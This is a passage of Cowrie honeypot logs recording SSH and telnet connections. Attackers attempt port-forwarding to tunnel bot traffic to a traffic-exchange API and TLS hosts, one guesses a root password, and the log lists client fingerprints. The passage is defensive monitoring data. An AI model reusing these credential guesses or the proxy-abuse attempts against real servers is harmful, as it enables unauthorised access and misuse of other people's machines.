{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1152\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 11; CPH2069 Build/RKQ1.200903.002) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=U0h9MjI5K2JLYjk1U2pVVQ%3D%3DY%2BE4MzX%2BSKPl1Y6irFKm6lXmqfBKw5rrKsFgUiSJz9yzxRkycpbr4ZoAuFhftPZVvqoFfY%2FE6EpMlIFM1655v2e%2BBddITzNedPw5FtEuUgHZKGe%2B%2FKX2i4if9ZGNgVrEqa2aUNI7hI8pyHmnsMocOzUd5nb3aISS4u%2B2wiLr8q3jJxQvbbKofZ%2FDiDPww9jstOmjfeTkBnEMDPVfOgGbeKYv2VDg2%2BLOKNZ1rND4I6z7smaFYlih3yFo316Y0cQtkeSm8iMQZQG9AiJAvVO0GFzYmv%2F8H91xaJj1Uyoy7cIGJgswKTTf4wvWU%2B3RDBbZaHxkJVc9Emk8FA3m6iD%2FIOsqb2qpEoK6u5YUj59tQ1n4Zm2yLnTQWUjPyV5Ltjvzi5uDqvXCTLU12569tTCXSagPZPWFjQKIaQyUKIFP0957lFO7aJbhKT3jn1qmyQchbUQe7HXRHdt4e79V%2BFww1zRIxu%2F7x2UdgB9rrMZmSPimq573GhbF0vCTDplHO3jjRECsZUchvOLe05oSNK7gzAG7qA6Y7044CF19pzaDG%2BVYdvahjmSUgIwPbSSA7jaSNnItfuo7jBZYT0RVljhbp5jBc76y%2BRYOeB5I0vtU3kVoQSCyjE9E%2FjfTjVk4N9p3s5st2rgWDCLlDsfN4WVReGWf3d6IwfwIEkoyiHFt3YxNJqPVSueNSS9HxF1VQQ6bWUpDP3hiJGLSCoPTmBXXXSzOlkfB15ZQ%2BgAMi8aI6T7CtFAapW282xx8UgZcT1Mqj%2F5WxVK3iaJsKXEwvGVLgphLsT5sAmnRjipqbdhU%2BBExVnnpYy4CydBBfEkI7FPSnI3tyTmWGFYOJORjLelZkGNmjinkCahUEaTkb7AttrMx9V4SF9DGJXlcWyLPFCIp0O0Lgen4EAoWQ%2BHKO1legH2cb7qipj7YeX680OrUuUNF3a%2Bv89rHIGoet7tHjE2INzQUmKUFidenKbNfp6TzebqErhugRPiQG4j%2Bu%2B9P2fYObBk3KcRsd9rGAaVYCz7a%2BFYNbmGHyotDr0TmzGwMkCIM%2Fn0N6Tpdcm6lAhk2ti8%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1152\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 11; CPH2069 Build/RKQ1.200903.002) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=U0h9MjI5K2JLYjk1U2pVVQ%3D%3DY%2BE4MzX%2BSKPl1Y6irFKm6lXmqfBKw5rrKsFgUiSJz9yzxRkycpbr4ZoAuFhftPZVvqoFfY%2FE6EpMlIFM1655v2e%2BBddITzNedPw5FtEuUgHZKGe%2B%2FKX2i4if9ZGNgVrEqa2aUNI7hI8pyHmnsMocOzUd5nb3aISS4u%2B2wiLr8q3jJxQvbbKofZ%2FDiDPww9jstOmjfeTkBnEMDPVfOgGbeKYv2VDg2%2BLOKNZ1rND4I6z7smaFYlih3yFo316Y0cQtkeSm8iMQZQG9AiJAvVO0GFzYmv%2F8H91xaJj1Uyoy7cIGJgswKTTf4wvWU%2B3RDBbZaHxkJVc9Emk8FA3m6iD%2FIOsqb2qpEoK6u5YUj59tQ1n4Zm2yLnTQWUjPyV5Ltjvzi5uDqvXCTLU12569tTCXSagPZPWFjQKIaQyUKIFP0957lFO7aJbhKT3jn1qmyQchbUQe7HXRHdt4e79V%2BFww1zRIxu%2F7x2UdgB9rrMZmSPimq573GhbF0vCTDplHO3jjRECsZUchvOLe05oSNK7gzAG7qA6Y7044CF19pzaDG%2BVYdvahjmSUgIwPbSSA7jaSNnItfuo7jBZYT0RVljhbp5jBc76y%2BRYOeB5I0vtU3kVoQSCyjE9E%2FjfTjVk4N9p3s5st2rgWDCLlDsfN4WVReGWf3d6IwfwIEkoyiHFt3YxNJqPVSueNSS9HxF1VQQ6bWUpDP3hiJGLSCoPTmBXXXSzOlkfB15ZQ%2BgAMi8aI6T7CtFAapW282xx8UgZcT1Mqj%2F5WxVK3iaJsKXEwvGVLgphLsT5sAmnRjipqbdhU%2BBExVnnpYy4CydBBfEkI7FPSnI3tyTmWGFYOJORjLelZkGNmjinkCahUEaTkb7AttrMx9V4SF9DGJXlcWyLPFCIp0O0Lgen4EAoWQ%2BHKO1legH2cb7qipj7YeX680OrUuUNF3a%2Bv89rHIGoet7tHjE2INzQUmKUFidenKbNfp6TzebqErhugRPiQG4j%2Bu%2B9P2fYObBk3KcRsd9rGAaVYCz7a%2BFYNbmGHyotDr0TmzGwMkCIM%2Fn0N6Tpdcm6lAhk2ti8%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:19:16.037337Z","src_ip":"113.164.152.20","session":"3a7a8f6abceb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:19:16.041100Z","src_ip":"113.164.152.20","session":"3a7a8f6abceb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf9\\xfcN\\x81.\\xda\\x1b\\x05\\xb0z\\xf1S:\\x88\\xb6\\xebp\\xb7\\xe9<\\x1f\\x17dJ\\x838\\x18\\x86\\xfcq\\xab& \\xb5\\xb0\\xa1\\xc5Lc\\r\\xdc&\\xba\\xc9O\\xa8[\\x02\\xde%8\\x93\\xf4\\x7f\\xd7d\"h\\xb7r0\\x86\\xf4\\x0e\\xce\\x00 jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\x1b\\x1d!\\xafl`{\\x8d\\xae\\x85\\xa1(*R@\\xf6\\xac\\xf1\"\\xb9\\x96ui\\xd76\\x83\\xa8\\x85\\x9e\\x05\\xaf\\x04\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf9\\xfcN\\x81.\\xda\\x1b\\x05\\xb0z\\xf1S:\\x88\\xb6\\xebp\\xb7\\xe9<\\x1f\\x17dJ\\x838\\x18\\x86\\xfcq\\xab& \\xb5\\xb0\\xa1\\xc5Lc\\r\\xdc&\\xba\\xc9O\\xa8[\\x02\\xde%8\\x93\\xf4\\x7f\\xd7d\"h\\xb7r0\\x86\\xf4\\x0e\\xce\\x00 jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\x1b\\x1d!\\xafl`{\\x8d\\xae\\x85\\xa1(*R@\\xf6\\xac\\xf1\"\\xb9\\x96ui\\xd76\\x83\\xa8\\x85\\x9e\\x05\\xaf\\x04\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:19:16.043713Z","src_ip":"113.164.152.20","session":"3a7a8f6abceb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:19:16.333597Z","session":"3a7a8f6abceb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:19:16.618935Z","src_ip":"113.164.152.20","session":"3a7a8f6abceb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03s^\\xb6xN|\\xd3\\x81%\\x98\\x18\\xbb\\x85H=\\xaa\\xb9\\x98\\x1b\\xc5o6\\xd2\\xd2\\xd6$M\\x85\\xf59i( \\xdb\\xc9\\x86J\\x92W\\x9b\\x140\\xbc\\xb2\\xf5H\\xfa\\x0b\\xa4\\ni!\\xf6\\\\\\xad\\x82\\xf2\\xe6\\xc3\\xedZyR{\\x9a\\x00\"\\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 \\x9f\\xc2\\x12#\\x8f&\\x1f\\xf3\\x8f\\xd9)$\\xa1U\\xb1\\x9fZX `\\x8b[\\x96iU\\x11\\xe6\\x9e\\xa6\\xba\\xb1!\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03s^\\xb6xN|\\xd3\\x81%\\x98\\x18\\xbb\\x85H=\\xaa\\xb9\\x98\\x1b\\xc5o6\\xd2\\xd2\\xd6$M\\x85\\xf59i( \\xdb\\xc9\\x86J\\x92W\\x9b\\x140\\xbc\\xb2\\xf5H\\xfa\\x0b\\xa4\\ni!\\xf6\\\\\\xad\\x82\\xf2\\xe6\\xc3\\xedZyR{\\x9a\\x00\"\\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 \\x9f\\xc2\\x12#\\x8f&\\x1f\\xf3\\x8f\\xd9)$\\xa1U\\xb1\\x9fZX `\\x8b[\\x96iU\\x11\\xe6\\x9e\\xa6\\xba\\xb1!\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:19:16.623872Z","src_ip":"113.164.152.20","session":"3a7a8f6abceb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:19:17.156321Z","src_ip":"113.164.152.20","session":"3a7a8f6abceb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.50.90","src_port":41074,"dst_ip":"159.203.135.109","dst_port":22,"session":"58382a1226ed","protocol":"ssh","message":"New connection: 182.93.50.90:41074 (159.203.135.109:22) [session: 58382a1226ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:19:25.414739Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:19:25.420196Z","src_ip":"182.93.50.90","session":"58382a1226ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:19:25.634330Z","src_ip":"182.93.50.90","session":"58382a1226ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.86881923675537,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:19:26.366862Z","src_ip":"50.65.170.8","session":"69d76ecfe656","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin1!!","message":"login attempt [root/Admin1!!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:19:26.528995Z","src_ip":"182.93.50.90","session":"58382a1226ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.11652445793152,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:19:27.489246Z","src_ip":"128.199.8.54","session":"dc25875f2337","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:19:27.746213Z","src_ip":"182.93.50.90","session":"58382a1226ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":57986,"dst_ip":"10.17.0.5","dst_port":22,"session":"6bb5ac813fa9","protocol":"ssh","message":"New connection: 62.133.62.83:57986 (10.17.0.5:22) [session: 6bb5ac813fa9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:19:30.294110Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:19:30.298345Z","src_ip":"62.133.62.83","session":"6bb5ac813fa9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 